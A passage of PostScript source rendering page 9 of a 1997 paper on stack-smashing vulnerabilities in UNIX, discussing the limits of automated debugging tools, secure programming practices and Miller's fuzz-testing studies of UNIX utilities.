0.0000 0.0000 1.0000 SET_CMYK GS n 5675 4361 M (than ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6037 4361 M (simple ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6557 4361 M (`segmentation ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4085 M (v) ST -2 0 MR (i) ST -3 0 MR (o) ST -3 0 MR (l) ST -3 0 MR (a) ST -3 0 MR (t) ST -3 0 MR (i) ST -3 0 MR (o) ST -3 0 MR (n) ST -3 0 MR (' ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1879 4085 M (messages. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2646 4085 M (However, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3351 4085 M (it ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3496 4085 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3660 4085 M (important ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4360 4085 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4542 4085 M (remember ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5272 4085 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5574 4085 M (these ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5969 4085 M (programs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6652 4085 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6909 4085 M (designed ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3809 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1426 3809 M (remove ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2011 3809 M (bugs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2410 3809 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2735 3809 M (do ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2986 3809 M (not ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3283 3809 M (specialize ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4024 3809 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4238 3809 M (security. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4934 3809 M (Furthermore, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5895 3809 M (these ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6322 3809 M (programs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7037 3809 M (do ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7288 3809 M (not ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3533 M (consider ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1833 3533 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2101 3533 M (current ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2638 3533 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2842 3533 M (future ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3305 3533 M (filesystem ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4055 3533 M (permissions ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4916 3533 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5120 3533 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5388 3533 M (program. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6102 3533 M (The ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6426 3533 M (same ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6834 3533 M (battery ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7361 3533 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3257 M (tests ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1565 3257 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1835 3257 M (submitted ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2557 3257 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2752 3257 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2892 3257 M (program ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3523 3257 M (whether ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4125 3257 M (it ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4283 3257 M (runs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4636 3257 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4841 3257 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4981 3257 M (privileged ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5721 3257 M (user ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6065 3257 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6270 3257 M (not. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6632 3257 M (In ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6837 3257 M (summary, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2981 M (automated ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1977 2981 M (debugging ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2760 2981 M (tools ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3165 2981 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3451 2981 M (useful ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3940 2981 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4151 2981 M (correcting ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4908 2981 M (known ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5442 2981 M (vulnerabilities, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6517 2981 M (however, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7214 2981 M (they ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2705 M (cannot detect future vulnerabilities and are limited as security tools.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 2429 M (Security ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2305 2429 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2592 2429 M (stability ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3174 2429 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3425 2429 M (synonymous. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4397 2429 M (Programs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5084 2429 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5380 2429 M (use ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5649 2429 M (secure ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6122 2429 M (functions ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6788 2429 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7075 2429 M (accept ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2153 M (less ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1514 2153 M (bad ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1815 2153 M (input ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2217 2153 M (data ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2555 2153 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2820 2153 M (not ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3093 2153 M (only ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3449 2153 M (more ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3853 2153 M (secure, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4382 2153 M (but ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4655 2153 M (run ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4938 2153 M (more ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5342 2153 M (efficiently ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6087 2153 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6388 2153 M (build ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6790 2153 M (faster. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7306 2153 M (By ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1877 M (changing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1867 1877 M (existing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2441 1877 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2803 1877 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3091 1877 M (writing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3619 1877 M (new ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3944 1877 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4306 1877 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4649 1877 M (security ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5224 1877 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5401 1877 M (mind, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5833 1877 M (both ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6176 1877 M (privileged ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6898 1877 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7260 1877 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1601 M (non-privileged ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2269 1601 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2668 1601 M (share ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3105 1601 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3393 1601 M (benefits. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4089 1601 M (Recalling ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4811 1601 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5099 1601 M (ease ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5471 1601 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5685 1601 M (which ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6176 1601 M (privileged ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6935 1601 M (program ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1325 M (execution ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1954 1325 M (can ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2284 1325 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2540 1325 M (transferred, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3404 1325 M (it ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3595 1325 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3805 1325 M (important ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4551 1325 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4779 1325 M (note ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5164 1325 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5512 1325 M (privileged ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6285 1325 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6698 1325 M (often ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7139 1325 M (trusts ) ST GR %%PageTrailer AXPageSave restore showpage %%Page: 23 23 %%BeginPageSetup save /AXPageSave exch def DOSETUP %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 1200 10624 M (Stack Smashing Vulnerabilities in the UNIX Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6811 10624 M (Page 9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3998 284 M (May 7, 1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1200 9848 M (non-privileged ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2275 9848 M (code. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2765 9848 M (Privileged ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3541 9848 M (processes ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4272 9848 M (may ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4651 9848 M (assume ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5234 9848 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5575 9848 M (all ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5833 9848 M (binaries, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6494 9848 M (privileged ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7260 9848 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9572 M (non-privileged, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2279 9572 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2535 9572 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2716 9572 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2925 9572 M (trusted. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3514 9572 M (By ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3760 9572 M (using ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4172 9572 M (more ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4567 9572 M (secure ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5045 9572 M (programming ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6004 9572 M (practices ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6648 9572 M (on ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6866 9572 M (all ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7084 9572 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9296 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1727 9296 M (code, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2145 9296 M (every ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2577 9296 M (segment ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3194 9296 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3395 9296 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3660 9296 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4036 9296 M (base ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4394 9296 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4567 9296 M (strengthened. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5521 9296 M (Security ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6138 9296 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6440 9296 M (robustness ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7205 9296 M (both ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9020 M (involve ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1768 9020 M (thinking ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2388 9020 M (about ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2824 9020 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3094 9020 M (ranges ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3596 9020 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3802 9020 M (allowable ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4515 9020 M (inputs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4988 9020 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5295 9020 M (responses, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6052 9020 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6359 9020 M (limiting ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6952 9020 M (them ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7352 9020 M (so ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8744 M (undesirable responses are not produced.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 8468 M (In ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1908 8468 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2050 8468 M (recent ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2525 8468 M (study ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2953 8468 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3187 8468 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3329 8468 M (research ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3953 8468 M (team ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4345 8468 M (lead ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4690 8468 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4924 8468 M (Barton ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5445 8468 M (P. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5648 8468 M (Miller ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6132 8468 M (at ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6320 8468 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6591 8468 M (University ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7361 8468 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8192 M (Wisconsin-Madison ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2612 8192 M (entitled ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 3175 8192 M (An ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3425 8192 M (Empirical ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4155 8192 M (Study ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4589 8192 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4783 8192 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5051 8192 M (Reliability ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5808 8192 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6002 8192 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6456 8192 M (Utilities) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 6991 8192 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7056 8192 M (\(1989\) ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7916 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1510 7916 M (its ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1728 7916 M (successor ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 2428 7916 M (Fuzz ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2804 7916 M (Revisited: ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3531 7916 M (A ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3694 7916 M (Re-examination ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4808 7916 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4998 7916 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5262 7916 M (Reliability ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6015 7916 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6205 7916 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6655 7916 M (Utilities ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7251 7916 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7640 M (Services) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1755 7640 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1833 7640 M (\(1995\), ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2396 7640 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2676 7640 M (stability ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3288 7640 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3605 7640 M (reliability ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4328 7640 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4544 7640 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4695 7640 M (number ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5281 7640 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5497 7640 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5990 7640 M (implementations ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7176 7640 M (were ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7364 M (tested. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1760 7364 M (While ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2248 7364 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2570 7364 M (study ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3012 7364 M (does ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3399 7364 M (not ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3693 7364 M (focus ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4136 7364 M (on ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4384 7364 M (buffer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4874 7364 M (overflows ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5622 7364 M (specifically, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6513 7364 M (it ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6687 7364 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6880 7364 M (primarily ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7088 M (concerned ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1933 7088 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2277 7088 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2529 7088 M (reliability ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3224 7088 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3513 7088 M (stability ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4097 7088 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4285 7088 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4750 7088 M (utilities ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5297 7088 M (when ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5706 7088 M (flooded ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6263 7088 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6607 7088 M (invalid ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7117 7088 M (input. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6812 M (In ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1400 6812 M (M) ST -3 0 MR (i) ST -3 0 MR (l) ST -4 0 MR (l) ST -4 0 MR (e) ST -4 0 MR (r) ST -4 0 MR (') ST -4 0 MR (s ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1971 6812 M (study, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2433 6812 M (over ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2789 6812 M (80 ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3015 6812 M (different ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3649 6812 M (utility ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4105 6812 M (programs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4795 6812 M (on ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5021 6812 M (nine ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5367 6812 M (different ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6001 6812 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6477 6812 M (platforms ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7176 6812 M (were ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6536 M (tested. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1746 6536 M (Seven ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2219 6536 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2424 6536 M (these ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2832 6536 M 